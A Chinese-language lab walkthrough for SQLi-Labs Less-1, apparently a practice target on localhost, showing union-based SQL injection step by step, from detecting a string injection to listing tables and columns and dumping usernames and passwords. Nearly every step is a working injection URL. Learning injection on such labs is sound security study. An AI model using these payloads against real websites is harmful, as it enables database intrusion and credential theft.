1、判断注入点类型
单引号测试
http://127.0.0.1/Less-1/?id=1'
报错,属于字符型注入,SQL语法有错误;
则在后面加上 --+
http://127.0.0.1/Less-1/?id=1' -- +
注:进行验证: 若是数字不相等依然报错
http://127.0.0.1/Less-1/?id=1' and 1=2 --+
2、判断字段数
order by 查询字段个数,逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。
http://127.0.0.1/Less-1/?id=1' order by 4 -- +
3、使用联合查询 确定显示位置
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 -- +
由于查询语句前面是对的,所以显示前面的内容,后面的无法显示,不能确定显示位置,所以更改语句,使得前面的语句为错,显示后面的内容:
http://127.0.0.1/Less-1/?id= -1' union select 1,2,3 --+
4、确定显示位置后,查询库名
http://127.0.0.1/Less-1/?id=-1' union select 1,version(),database() --+
字段数为3,所以1在这表示占位,version()查询数据库版本,database()查询数据库库名
5、查询表名
http://192.168.162.135/sqlilab/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
6、查询列名
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
7、查询用户名和密码
http://127.0.0.1/Less-1/?id=-1' union select 1,username,password from users where id=2 --+